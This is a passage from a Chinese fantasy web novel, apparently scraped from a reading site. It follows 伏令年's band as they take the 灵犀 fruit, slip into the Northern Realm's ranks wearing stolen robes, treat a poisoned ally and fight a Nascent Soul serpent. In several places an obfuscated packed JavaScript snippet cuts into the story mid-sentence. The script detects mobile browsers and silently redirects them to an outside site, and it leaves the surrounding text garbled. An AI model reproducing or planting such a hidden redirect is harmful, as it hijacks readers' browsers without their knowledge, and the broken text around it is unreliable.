云鹤生皱眉看了伏令年一眼:“怎么?你们不愿。” “哪敢。”伏令年应付道,也不在乎对方高傲的态度:“你们打哪边来的?” “问这么多做什么。”跟随在云鹤生身后的弟子没忍住刺了一句。 “你们不说,我们怎么知道要往哪里走?”伏令年理所当然地道:“要是好不容易赶到下一个地点,又被你们北境赶走,我们和谁说理去?” 说得似乎也有些道理。 云鹤生接受了伏令年这个说法。 他示意身旁一位拿着指南针样式事物的少女。 少女应答道:“南向北。” 也就是说,他们从南边过来。 伏令年几人虽与东境断联已久,却也知晓大多数修士都是结伴而行。除去修为最高的主力队伍可能会独自深入开路,大宗门的修士更是以境为单位前行。 北境共有三个大宗派,分别是万剑宗、丹鼎宗与机巧阁。 此次大会,北境的参赛人数最多,综合实力最强。 他们所过之处,怕是路过的蚁虫都要被路过的一人一脚碾死,何况是体型大格外显眼的妖兽。 再加之丹鼎宗的存在,路过之处也应当是寸草不生了。 因为,也再无探索的必要。 打听出了想知道的消息,本来便打算赶路的伏令年几人不作停留,拍拍屁股收拾东西走人,速度之快让原本还心有疑虑的云鹤生有些哭笑不得。 “看来,昆仑宗当真没落了。”另一位万剑宗的弟子古怪地叹了一句。 虽说四境默认在大会初始不会大动干戈,可面对北境几人如此霸道的行径,可是明晃晃地打东境的脸。 这种状况下,不争馒头也得争口气。却见东境以昆仑宗为首的几位修士竟没有任何反抗的欲望,就这么爽快地离开,可谓是毫无修仙者的志气,也丢光了东境的颜面。 “师父还让我们留意着昆仑宗,如今看来,他们已不是我们的敌人。”另一位弟子道。 “莫要妄下定论。”云鹤生不轻不重地呵斥了一声,表面还是没什么变化,心中却也是有了自己的想法。 然而,半炷香后,云鹤生得到了一个极坏的消息。 另一支小队探索时发现了灵犀木——据丹鼎宗的修士所说,这是一种极为重要的灵木。其产出的果实可作为解毒丹的一味材料。 此次大会,每位修士多少都会携带一些常用的丹药。医修丹修们亦会提前布置。然而,再多的准备都赶不上突发状况。 万霭之幽中,毒物繁多,又有不时降下的有毒暴雨,不同类型解毒丹的需求极大。丹修们要就地取材进行炼制,才能供给整一个境的修士使用。 此前,他们从未遇见过灵犀木,如今见着,自然是欣喜若狂,花了好大心力才将围堵在灵犀木四周的妖兽清除。 然而,当他们即将采摘“胜利的果实”之时,却发觉树枝上已是空空荡荡,不见半个果实的踪影。 灵犀木可不是好对付的,能做到将其洗劫一空的程度,寻常三两只妖兽可做不到。 无需多说,北境的修士立即反应过来——必然是有人捷足先登了。 他们一路行来,都未遇见其余修士。而今,也就只有云鹤生这一探索小队碰见了除了北境以外的修士。 究竟是何人做的,似乎无需再问。 云鹤生先前那些许的自傲一扫而空,脑海里忽地忆起伏令年几人离开时背着大包小包的背影,当初看只觉得他们是落荒而逃,如今却品出了些嚣张的意味。 云鹤生气恼于伏令年一行人居然取走了所有的灵犀果,更气愤自己刚刚居然就这么将这几个小贼白白放走了,甚至还给他们指明了没有北境弟子的方向。而今,只觉得自己这是被戏耍了。 “我们去追。”云鹤生咬牙切齿地下令道。 …… “啊嚏。“扒在树上看着刚刚走远的几位修士的背影,伏令年突然打了个喷嚏。 接着,她又有些担忧地摸了摸鼻子,生怕再次流血。 好在鼻端干燥,刚刚流血不止的状况仿佛又是她的一场幻梦。 若云鹤生知晓他们如今处在何处,必然会再次怒骂。 伏令年几人并未像表面那样朝着北边前行,反而是绕了一圈,绕行至北境众人的背后。 灵犀果十分诱人,伏令年也相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14214319|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信以北境的能力,定然不会错过。 待他们发现后,恐怕不会放过这么珍贵的灵植。 伏令年几个“孤家寡人”,哪里是整个北境的对手。即使跑得再快,也终会被修为更高者追上。 此时,绕到北境后方,打了个反逻辑,也正好避开北境修为最高的主力小队。 唯一的风险,便是有元婴期修士展开神识探索队伍后方。 不过,万事都没有一定,伏令年几人愿意冒着个险。 显然,他们赌赢了。 北境众人也未曾想到,居然有人如此胆大包天,身怀珍宝还敢跟在他们身后前行——没错,跟着。 伏令年几人不仅绕到北境后方,还打算跟着北境前行。 随着深入,秘境内危险重重,说不准还会遇到难以对付的元婴期妖兽。 跟着大队部行动,安全也多几分保障。 虽然分不到妖兽,光是身上的灵犀果,也足够交差了。 …… 星机阁弟子皱着眉,敲了敲手中的罗盘:“奇怪。” 孟如烟看了眼身旁的星机阁弟子:“如何?” “刚刚明明已经定位到了,却突然被阻隔了。” 这只有秘境的特殊性或是同等级的修士能做到。 伏令年几人尾随着北境,而北境的修士自然有防止被他人定位的手段。 星机阁弟子经过认真严谨的思考后,首先排除了正确答案——“他们几个都只是金丹期的修士,必然不是人为阻隔……难道,他们又进入迷境中了?”他很不确定地道。 另外几位弟子面面相觑,心中都产生了同一个想法:迷境是什么很常见的东西吗,那几个小修士说进就进? “如烟。”有人唤了一声。 “定位又被阻隔了。”孟如烟上前,低声道。 “我知道了。”许子迁看了眼罗盘,面上没什么波动:“继续前行吧。” 说来也巧,定位消失的方位,亦是他们将要前行的方位。 在外界水影幕的上帝视角下,众人的视野更为明晰。 此时此刻,四境的队伍似是被一股神秘的力量牵引,皆极为凑巧地从四方朝着同一个方位进发。 “或许,不到两月,他们便会相遇。”武丹卿注视着水影幕,少见地开了口。 “那便有意思多了。”娄烨面上常年挂着暧昧不明的笑容,闻言应和了一句。 南境这边一派和气,北境与东境间却生出了古怪的氛围。 万剑宗与昆仑宗本是唯二两个以剑修为主的大门派,明里暗里间争斗已久。妖魔战争以后,昆仑宗内部分出了几个新的修行派系,整个宗门日益衰落,已是被万剑宗压了一头。 伏令年几人势单力薄,面对北境弟子选择退却,也无可厚非。 但东境尤其是昆仑宗的长老及弟子们觉得有些不是滋味。 若是从前,哪有他们昆仑宗主动后退的可能,也轮不到北境的修士如此嚣张。 北境的修士们也不见多欢喜。 他们着急于灵犀果的归属,见云鹤生竟就这么将伏令年几人放走了,也很是不爽。 云鹤生他们不知晓,处在外头的人可清楚得很——那一树珍贵的灵犀果可都在伏令年几人身上呢。 直到北境发现被洗劫一空的灵犀木时,已是丢失了伏令年几人的踪影。 ——煮熟的鸭子就这么飞了,论谁来也不会高兴。 86. 万霭之幽(十三) 对那几名东境弟子的搜查已持续了半个月,北境的弟子却是连他们几人的影子都未捞着半个。 他们几乎对寻找东境的几位弟子不再报有期望,转而专心探寻起秘境来。 一路前行,有前方主力小队开路,北境一路有伤无死,算得上一路通畅。 除了队伍中出现几次衣服失窃的事件之外,一切平静。 张逸辰是一名有些脸盲的剑修——虽然他自己并不这么觉得。 他只是懒得耗费心力去记那些近乎一模一样的面孔罢了——反正都是两只眼睛一个鼻子一个嘴。 不如把这精力用在识剑上。 他带领的小队暂且原地休整,张逸辰便依靠在树下打坐。 “究竟是什么人这么变态,偷什么不好,偷衣服?还偷到老娘头上了。” 一道清亮的嗓音将他从入定中唤醒。 睁开双眼,张逸辰瞧见了发话之人,那是一张秀丽的、陌生又有些熟悉的面孔。 “多半是哪个好色之徒。”另一人点头应和:“在水影幕之下还敢有此行径,着实是狂妄。” 面容秀丽的少女双手抱于胸口,面上带着愠色:“那采花贼让可别我给逮到了,否则,我扒了他的皮用来做剑鞘!” 两人交谈声音不小,张逸辰未再尝试重新入定。 “张师兄,你醒了。”秀丽少女自然地唤了他一句。 “嗯。”张逸辰应了一声。 “嗐,你别介意,贾师妹。”秀丽少女又朝身旁刚刚与她交谈的少女解释道:“张师兄一向这么高冷,我们都习惯了。” 被称作贾师妹的少女笑着点了点头,朝张逸辰拱手行礼:“叨扰了。” “无妨。”张逸辰张望了一下四周:“其他人呢?” 这是在问秀丽少女。 “大多洗漱取水去了,看着时间,约莫不久就会回来。这儿有条溪流,我们遇上了好几支小队,大家都在这儿歇脚呢。” 果不其然,几道身着各宗门服饰的人影从不远处靠拢。 贾师妹似是瞧见了自己的队伍,摆了摆手先行一步离开了。 见张逸辰望着贾师妹的背影,秀丽少女自行解释道:“她是丹鼎宗的弟子,随着另一支队伍前进。刚巧在溪边碰见,聊起近日那采花贼一事,便共同行至此处了。” “这样。”张逸辰点了点头:“瞧着有些眼生。” “眼生?”秀丽少女无奈地瞧了他一眼:“师兄,你瞧谁不眼生呀。” “贾师妹”走入林中,七拐八绕,逐渐把嘈杂的人声抛至身后。 头顶有细碎的声响,枝叶拨动,几个脑袋从中探了出来。 “成了?”其中一个脑袋问道。 “贾师妹”没作声,从储物空间中掏出几件衣服,朝上方丢去。 “业务熟练。不愧是你,二丫。” “你可别乱说。”“贾师妹”——或许应当喊她为伏令年:“我可是正经人。” 树上又是窸窸窣窣一阵摇晃,过了不久,温季才再次探出脑袋,面露苦色:“这怎么是女子的服饰?” 伏令年看了眼,摊了摊手:“这是丹鼎宗的服饰。”与昆仑宗不同,丹鼎宗的弟子的统一服饰有男女之分,形制不同。 “就没有男子的服饰吗?”温季才不甘心。 “没有了。”伏令年摊了摊手。 换完服饰,将属于昆仑宗的身份铭牌藏好,一行人就这么大摇大摆地走出林子,混入了北境队伍内。 俗话说,最危险的地方就是最安全的地方。 料北境弟子如何想,也不会想到竟然有几个胆大包天的弟子了换件衣服,便敢正大光明地混入他们其中。 在这种时候,越是简单的手段,就越为有效。看似危险,实则安全。 毕竟汇聚在此的修士极多,各宗门内都说不上一定互相认识。更别提不同宗门之间的弟子了。 身周群狼环伺,伏令年一行人却显得悠然自得。 有大部队在前方开路,能流窜过来的妖兽数量不多,且修为较低。 伏令年一手持短匕,割开脚下妖兽的尸体,寻找其体内的晶核。 在她另一手上,则捧着一只小炼丹炉。 那炼丹炉形状古怪,内里还被分隔成了两个部分,看着有些不伦不类。 行走于妖兽的尸首之间,素雅的衣摆随着伏令年的动作沾染上了深红近黑的血迹。 此处刚刚被剑修们清理过一番,伏令年扮演着丹鼎宗的弟子,跟随着一众修士负责收取晶核和血肉精华。 就在伏令年俯下身取晶核之时,两步外的妖兽尸体忽地弹动了一下。 伏令年好似未有察觉,眼皮都没抬一下。 手上发力,短匕没入妖兽的血肉当中,将最后一层皮肉完全分割开来。 晶核的莹光显露在面前的下一刻,身后腥风席卷而至。 “当心!”有人惊呼出声。 虽然看见这骇人的一幕,却已是来不及出手相助。 突然跃起的妖兽形似蝎子,跃于半空时,那漆黑而光亮的甲壳在微弱的光线中闪烁着冷冽的光泽。细长的尾勾于半空中绷直,泛着森森冷光,宛如一把蓄势待发的利剑。 就在众人以为这身着丹鼎宗服饰的弟子就要血溅当场时,一道黑影骤然膨胀变大。 “碰”的一声脆响,妖兽被从半空处拍落,甚至来不及发出几声啸叫。 伏令年将放大版的炼丹炉稍稍抬起,又再次重重落下。 几下反复,结结实实砸了好几回。当炼丹炉被收回之时,被碾压在下方的妖兽躯壳已然破碎,看不出原来的模样。 这并非是结束,而是开始。 仿佛打开了什么开关。一时间,惊呼声此起彼伏。 伏令年寻声望去——不知何时,不少原本已经倒在地上的妖兽躯壳接二连三地从地上爬起,朝着身旁的修士发起突然的袭击。 灵力聚集于眼部,伏令年看得真切。 那些妖兽大多都已被剖开,脏器随着它们的移动洒落一地。如此光景,按常理来说,它们必然不可能存活。 然而,事实就是如此的魔幻。 鼻尖嗅到浓郁的血腥气,既有妖兽们的,也有修士的。 事发突然,周遭大多都是不擅近战的修士,一时间,一片混乱。 伏令年连续敲飞了好几个妖兽,一路前行,也不忘地上残留的晶核收入怀中。 余光忽地捕捉到一片阴影,伏令年下意识攥紧了手中的炼丹炉。 “等一下等一下,是我!” 伏令年手腕微顿,侧头看向来人。 温季才一手提着衣摆,别扭地跳过地上躺着的妖兽躯壳,满脸写着憋屈。 “这衣服太别扭了。”他嘴上嘟囔着,手中的炼丹炉忽地扬起,将脚下意图袭击他的妖兽给抽飞至伏令年面前。 “你小心些。”伏令年低声道:“别把我炼丹炉砸坏了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14261706|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >周遭一片混乱,伏令年偷感很重的抬脚踩住身下的妖兽,一手探至妖兽的背后。 白色的光芒一闪而过,妖兽坚固的外壳刹时被分割开来。 剑尖一挑,晶核弹出,落入炼丹炉中。 还是白玉剑好用,用短匕捣鼓半天,也不如这一下来的好用。 趁着混乱,伏令年和温季才偷偷摸摸,将周遭未被清理过的妖兽晶核清扫一空。 袭击来的突然,不少修士都被突然诈尸的妖兽所伤。 好在众人并非普通修士,很快便有组织地行动起来。 一切平息后,只余妖兽的断肢残骸散落于四周。 “有人中毒了!” 伏令年循声望去,正好瞧见张熟悉的面孔。 秀丽少女半跪于地上,面色苍白。她右臂衣袖被撕裂,裸露出右臂的肌肤。 原本光滑的肌肤被锋锐的事物撕裂,血肉外翻,血色浸染而出。 修仙者体质特殊,自愈能力也极强。 然而,秀丽少女右臂的伤口却未有任何愈合的迹象。血液从伤口处不断涌出,浸润了脚下的土地。 皮肉伤对于修仙者而言不算可怕,最可怕的,是身中奇毒。 而这万霭之幽中,最常见的便是有毒的妖兽。 显然,她被有毒的妖兽击伤了。 “余绣师姐被妖兽抓伤了!” “医修和丹修呢?”秀丽少女的队友焦急地张望,却始终不见帮助。 刚刚的混乱当中,受伤最多的便是处于混乱中央的医修和丹修。受伤人数众多,“医疗”能力便跟不上了。 右臂依旧在淌血,伤口处已泛起不妙的黑色。黑色如同污染源一般,不断向伤口四周蔓延。 眉头蹙起,余绣眼中流露出决绝的神色。 左手持剑,她深吸一口气,就待到将右臂斩断。 面对如今的状况,这是最果决的选择。 下一刻,手腕被按住。 余绣抬头,见到来人时,面露惊喜之色。 “贾师妹?!” “是我。”伏令年示意她将剑放下,俯下身观察起她的伤口。 伤口处发黑,血流不止——这是毒发的表征。 “你可知将你咬伤的妖兽是哪只?”伏令年问。 余绣摇了摇头,面色沉凝。 “方才事发突然,我混在人群当中,待到一切平息,我才发现被抓伤了。”也直到发觉了伤口,余绣才察觉的手臂处传来的疼痛。这种毒似乎能暂时麻痹猎物的神经,让其察觉不到痛意。 无法对症下药,事情便困难起来。 余绣也知道这有些难为人,她面露决然之色,道:“若没有法子,我便将手臂砍下,总好过毒入心肺。” “没到那个时候呢。”伏令年安慰了一句。 修仙者断肢还能再生是不假,可在这秘境之中,断肢近乎意味着断送自保能力。 在几人期待的目光中,伏令年取了两滴伤口处的血液投入炼丹炉中,继而在储物空间中翻找起来。 随即,她取出来一本看着就极有格调的书,快速翻找起来。 伏令年面色自然,在众人眼中甚至称得上游刃有余。 然而,待书上的字体在水影幕前展露时,“成为合格医修的第一步”十个大字夺人眼球。 伏令年正在翻阅的不是别的什么书,而是医修初学者必学的《医修入门》。 “她这是打算,现学现卖吗?” 87. 误发待修补药看 于此同时,四境无一幸免,皆发生了死去妖兽“复活”的诡事。 不少修士因此受伤中毒,引起了不小的波澜。 这样诡异的状况,若不是南境也同样遇见了,众人都要怀疑这是否是南境暗中的手笔。 像万霭之幽这样的秘境几十上百年也不曾开放一次,在封闭期间,秘境内部的变化可能是翻天覆地的。 因此,即使有以往秘境探索的记载为基础,许多情况同样是未知的。 就是修为颇高的长老们,也不敢说完全掌握了秘境中的状况。 伏令年隐没在一众弟子之中,行事和修为都算不得突出,本不应受到过多重视。但是,他们的存在对于北境众位长老和弟子而言就如同一根细刺,算不上致命,却无法忽视。 关注伏令年几人的动向几乎成了北境众人下意识的行为。 看见伏令年几人跟在后头时。 北境众人:“东境的弟子都是鼠辈吗?藏头露尾。” 看见伏令年和杜钟毓偷衣服时。 北境众人:“手脚不净!居心叵测!” 看见一行人混入北境队伍中时。 北境众人:“装神弄鬼,剑修也敢假扮丹修和医修,就等着被揭穿吧!” 看见伏令年现场学习救人时。 北境众人:“……?” 不是,你真来啊? 看了会儿书,伏令年从储物空间中取出几样事物,对着余绣的伤口捣鼓起来。 温季才生怕被旁人看出端倪,接过伏令年丢到一旁的书看了起来,一副很懂的模样。巴拉了一会,才发觉自己将书给拿倒了。 余绣的伤口上被伏令年撒了麻醉丹的粉末,这可以减轻她的疼痛。 细看才发觉,这伤口比想象中更为严重,深可见骨。伤痕从肘部一直延伸到前臂的中段,外侧的皮肉翻卷着。细看其中,甚至能看见细小的血管与筋肉。 如此深的伤口,余绣起初竟未有察觉,可见那毒素之诡异。 伏令年根据书籍上描绘的方位,将细针送入余绣右臂的各处穴位之中,手指附上长针的尾端。 指尖弹动,长针微微发颤,光芒一闪而过。 就在刚刚,伏令年通过长针将灵力打入了余绣体内,封锁住她的经脉。 如此一来,毒素便不能蔓延,给了伏令年炼丹的时间。 伏令年这边一番操作行云流水,看得外头的人一阵心惊肉跳。 “你们昆仑宗的剑修还修行医术?” 被沈枫泽怼完后安静了许久的北境弟子忍不住问了一句。 “不学。”沈枫泽简明扼要,他的视线在伏令年所处的水影幕处转了一圈,继而又回到了东境所在处,似乎对此毫不关心。 “那她…”还真敢动手? 外头的人怎么想的,伏令年自然不知道。 她的注意力完全集中于余绣的伤口之上。 在她想来,四境大会中弟子这么多,他们混在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14271974|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人群中并不起眼,多半不会被注意到。 就算被有心人留意,伏令年也有推脱之词——照着书上现学的。 这也算不得撒谎。 起码寻找穴位这一手,她确实是现学的。 穿越前她又不是学中医的,哪懂这些那些的。好在储物空间中留着本她先前用来打发时间的《医修入门》。 余绣不知被何种妖兽所伤,伏令年只能将自己先前在妖兽身上采集的血肉精华取出,逐个测试。 幸而运气不错,半刻钟后,伏令年找到了她想要的东西。 若是没有记错,这应当是一种蛇型妖兽的毒素。 伏令年遇见的那只妖兽约有两臂长,身上披着细密的鳞甲。爬行时,鳞甲摩擦地面留下一道道锋锐的痕迹。 妖兽的尾部缀有类似于蝎子尾钩的事物,余绣手臂上的伤口约莫就是被此物所伤。 炼丹炉下方升腾起火焰,伏令年特意未使用灵火,纯粹用火灵根催动火焰。 单纯的火焰很难掌控,不一会儿,伏令年丢进炼丹炉中的几味草药便发出了可以的焦糊味。 这时候,余绣几人也有些回过神来了。 刚刚急着求助,抓住救命稻草便不敢放手,紧张之中有些失了分辨力。 如今看来,伏令年两人怎么看都颇为古怪啊。 先不说倒着拿书的那位脸与身材极不相称的丹鼎宗“女弟子”,就是伏令年炼制的这一锅古怪的事物,就让人心生怀疑。 88. 万霭之幽(十五) 伏令年身体猛然下坠,白玉剑浮现于手中。 剑锋前伸,狠狠地嵌入岩壁当中,止住了她下坠的趋势。 然而,这只是一个开始。 锋锐事物划破空气,破空声于耳侧炸响。 余光之中,一道阴影如闪电般袭来。 护罩于身周生成的下一刻,伏令年被那阴影擦过。 巨大的力道席卷全身,伏令年只觉得被擦过的地方传来钻心的剧痛。 巨力由下至上将伏令年甩至半空,余势不减。身体宛若断线的纸鸢,往外抛飞出去。 面前似乎闪过了一道光幕,但伏令年此时无暇顾及。 疼痛占据了伏令年的全部感官,喉间腥气涌动。 这一下,伏令年判断自己的肋骨都起码断了两根,更别提直接受到撞击的手臂。 唯一值得乐观看待的是,她没有掉进地底缝隙之中,反而被抛飞了出来。 耳边狂风呼啸,伴随着几道呼声。 “是巴鳞蛇!” “是元婴期的巴鳞蛇!大家快散开!” 元婴期? 伏令年眼前发黑,心中浮现出一个念头——自己是不是有些太倒霉了。 在这“记忆”之中,伏令年的“身躯”由神识模拟而成,并非真实。 但这不意味着她不会受到伤害。 同时,她如今修为高低取决于自身神识的强度。 神识并不会完全随着修为的晋升而变强。修士神识的强度一般都要低于真实修为。 若想要突破至元婴期,达到神魂一体,脱离肉体凡胎的境界。 修士必须经过神魂的修行。 而于修士而言,神识的修炼是困难且难以琢磨的。除去艰苦的磨砺意外,还需要一定的悟性,与特殊的机遇。 也因此,金丹期到元婴期之间看似只相差三个阶段,却已是天差地别。 伏令年如今神魂的强韧程度甚至未达金丹期,受这么一击,自然是受伤严重。 神魂被撕裂的感受比□□上的疼痛更来得深入灵魂,如同百万根针线穿过,又如烈火的炙烤。伏令年感受着身体坠落,却无力自救。 就在此时,背部忽地接触到了什么柔韧的事物。 一股柔和的力量透体而入,将侵入伏令年体内的外来力量尽数清除。 大半力道随之卸去,伏令年坠入一个怀抱当中。 鼻尖的腥气被冲淡,伏令年嗅到了一股淡淡的木质香味。 在元婴期巴鳞蛇的威压之下,伏令年的五官都出现了溢血的状况。 眼底的毛细血管在巨大的压力下破裂,血色弥散。 疼痛还在继续,伏令年却逐渐恢复了清醒。 体内的星辰流转着,不断填补着受损的身躯。 神识所凝结的身体倒是比□□来得容易修复。 不一会儿,伏令年面上的出血便止住了。 视线恢复清晰,小师叔如月般的面容出现在她面前。 纵然是见了多次,伏令年却依旧是被对方姣好的容貌闪到了眼睛,反应也慢了几秒。 回过神来时,已见小师叔露出忧虑的神情——他似乎是觉得她被巴鳞蛇一尾巴给抽傻了。 此时,她被小师叔半揽在怀中,一半面颊贴着他的胸膛。 缓过神来后,伏令年才觉得如今的姿势有些古怪,她动了动,想要抽身离开。 然而,她并未如愿。 “那个…”伏令年咳嗽了两声,动了动胳膊,一不小心牵动了伤口,顿时面露难色。 就在她痛得泪眼朦胧之际,脑袋被轻而缓地抚了抚。 在轻柔的力道作用下,伏令年的面颊再次贴上了小师叔的胸膛。 “没事了,别怕。”小师叔语气很柔,像在哄孩子一般。 伏令年:? 她挣扎着抬起脑袋,想要解释一二时,却发觉小师叔素净的衣裳已经被她糊了一脸的血渍。 伏令年:…… 算了。 她又重新埋了回去。 地面的颤动愈加剧烈,巴鳞蛇也逐渐显露出身形。 深不见底的巨大裂口当中,巴鳞蛇正在缓缓昂起它巨大的头颅。 深绿近黑的墨绿色鳞片随着它的动作发出细密的撞击声,双角隆起的头颅之上,一双眼眸红如血珠。 如蛇似龙般的生物张开巨口,蛇信于其中吞吐,两颗巨大的獠牙上泛着暗色的光泽。 伏令年对各类妖兽没有太多的了解。但参加四境大会之前,弟子们多少都会恶补一些往届大会所积累的经验知识。 对这巴鳞蛇,伏令年有些印象。 她记忆力虽然没温季才这么好,这多年来的“义务教育”下来,却依旧是“宝刀未老”。 巴鳞蛇,多生于沼泽湿地,常栖息于地底。 体型巨大,□□含剧毒。喜用绞杀的方式解决猎物,将其吞噬。 鳞甲锋锐,尾部含有丰富的毒腺。 若不慎被划伤,要及时封住经脉,并提取其毒腺内的特殊物质炼制解毒丹。 伏令年刚刚便是被巴鳞蛇有力的巨尾所抽飞,幸而及时撑起防护,没被毒液所伤。 书中描写的巴鳞蛇体型巨大,但无论多生动的描写,都不如伏令年亲眼所见来的震撼。 它便如同一座山峦,自地底拔起,屹立于伏令年面前。 粗大却不缺乏灵动的巨尾巴清扫着沿途的一切,呈现出流线型的力量感。墨绿近黑的鳞片排布于上,与修士剑锋相接时,迸发出夺目的火光。 威压笼罩于上空,压得修为较低的弟子们喘不过气来。 仅是境界的威压,就足以让弱小者骨骼嘎吱作响,全然失去反抗能力。 若不是小师叔就在身侧,替伏令年分担去了部分压力,她恐怕连直挺挺地站着都很难做到。 此时此刻,伏令年才对元婴期的妖兽有了更加全面的认识。 也正是因为此,她才彻底领会到了元婴与金丹之间的差距。 若没有元婴期修士坐镇,遇上如此妖兽,其余弟子便只有死路一条——甚至连逃跑都做不到。 这便是境界压制。 随着巴鳞蛇的爬动,地面再次开始寸寸碎裂。 剑光笼罩之下,巴鳞蛇也免不得受伤。 大地在巴鳞蛇的愤怒下颤动,巨石滚滚,尘土飞扬,遮天蔽日。树木倾倒,肃然一幅世界末日的图景。 不少弟子逃跑不及,不慎掉入地缝当中,一手扒住边缘,岌岌可危。 幸而有元婴期修士坐镇,那些弟子都继而被救起,不至于死伤惨重。 伏令年和那些弟子一样,被带着远离巴鳞蛇肆虐之地。 不过她的待遇要好些,被小师叔贴心地拎在怀里。 那些被救起的弟子就没那么体面了,被串在剑上带着一路飞驰。 到了安全的营地后,许是看伏令年伤的太重,她立即被一拥而上的丹修和医修包围了。 此处地势偏上,离那巴鳞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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血蚓有活血化瘀的效果,所制丹药对陈年旧伤的治疗有很好的效果。 但她身上的可是新伤——九成九的新伤!!不包邮不包退! …… 身体……或者说,她感到她的神识在燃烧。 伏令年推动着体内的星辰流转,消化着炽热的药效。 夜色降临,月光透过缝隙洒落。 伏令年刻意挑了一处能看见星月光芒的地方,盘腿入定。 不知是不是神识所化的缘故,伏令年的伤以一种十分不科学的速度愈合了,断掉的肋骨亦恢复了大半。 在这种状态下,聚魂功法的运行亦有了特殊的变化。 它不再如书中描述的那般远在天边,难以触碰。 运行间,伏令年能够清晰地看见自己的神识逐渐凝实。 “星光”宛若自然的丝线,在伏令年的操纵下缝补着由于受伤而产生的裂痕。 与此同时,伏令年惊讶地发觉,在经历一次重创后,她神识的力量反而得到了提升。 这难道就是所谓的愈挫愈勇? 89. 万霭之幽(十六) 伏令年仿佛经历了一场第一视角的战斗。 剑光与血色交织,巴鳞蛇的嚎叫声几欲震穿耳膜。 伏令年曾近距离擦过巨蛇的眼瞳。 巴鳞蛇血色的眼眸与巨大的头颅相比起来显得格外细小,泛着暗色的光芒。 可即便是它那细小的眼瞳,也足有一人之长,半人之宽。 随着巴鳞蛇受伤加重,它眼瞳中的凶意仿若能凝成实质。 巴鳞蛇力气惊人,鳞甲坚硬。巨尾横扫间,山石尽碎。 然而,修士们却每每能够从缝隙间躲过它势如雷霆的攻击,并给予巴鳞蛇凌厉的一击。 巴鳞蛇已是元婴期,开了灵智,颇有智慧。 在狂怒过后,它察觉自己确实没法拿这些像蚊虫般的修士们如何,似生出了退意。 狭长的眼珠中透出人性化的恐惧与狡诈,再一次挥动巨尾击断一棵古树后,趁着修士的包围圈受阻,巴鳞蛇腰身一扭,竟是想重新钻入那黑黢黢的地底。 修士们哪能就此放过这即将到手的肥羊。 伏令年眼前一花,“师姐”骤然提速,霎时间便逼近了那巴鳞蛇的尾部。 就在此时,变故陡生。 巴鳞蛇巨大的身躯猛然顿住。 尾部骤然拉直,以极其刁钻的角度朝“师姐”的横扫而来。 于此同时,处于尾部的毒腺收缩,大股毒液随之碰撒而出。 事发突然,眼见着危机将至,师姐身体一滞,身体以极不合理的角度挪移了一段距离,险之又险地避开致命的危机。 她的身姿划过一个弧度,让人不由联想起长蛇摆尾。 巴鳞蛇见计谋并未得逞,身体下沉,意图逃跑。 然而,一道蛛网似的事物的突然出现,封住了巴鳞蛇逃窜的通路。 巴鳞蛇庞大的身躯撞入网当中,力量之大,将网冲撞得扩散开来。 巨网被拉扯着扩展,似欲崩裂。 然而,这巨网显然不是凡物。 在元婴期妖兽的冲撞下,巨网各处顿时泛起异光,千万条丝线拧转收缩,将巴鳞蛇牢牢缠绕。 符文在其间显现,光芒流转,宛若舞动奔走的小人。 不远处,身着星机阁服饰的弟子分立于四方,操纵着巨网将巴鳞蛇困于其中。 巴鳞蛇似知大难临头,彻底发狂。 它无视落于身上的剑光与法术,只拼命地甩动巨尾,试图割裂困住它的巨网。 空气中弥漫着浓重的血腥味和草木的焦糊味,巴鳞蛇眼中透着毁灭和憎恨的情绪。 在它肆意地冲撞之下,巨网上的不少符文法阵竟被搅碎破坏,有了损坏的迹象。 眼见着巴鳞蛇即将破网而出,伏令年忽地感受到了一道凌冽的寒意。 这剑意出现得宁静,仿佛自远古而来。如同墨色黑暗中忽然洒落地一道月色,它穿越了时间和空间,冷冽如冬日初晨的寒风。 空气似乎凝固了,所有的喧嚣在这一刻都为之静默。剑意所过,草木皆为之震颤,落叶纷飞,继而崩碎,如被无形的利刃切过。 凝如实质的剑意冷冽而锋利,足以割裂虚空。 下一刻,巴鳞蛇的哀嚎声震碎了眼前的静默。 声音回归至耳畔,眼前的事物开始流动。 洁净的“月色”化作锋锐的利剑,朵朵血花于巴鳞蛇的身躯上绽放。 巴鳞蛇不甘的吼叫声依旧在回荡,巨大的身躯晃荡着,逐渐倒下,如同倾倒的山岳。 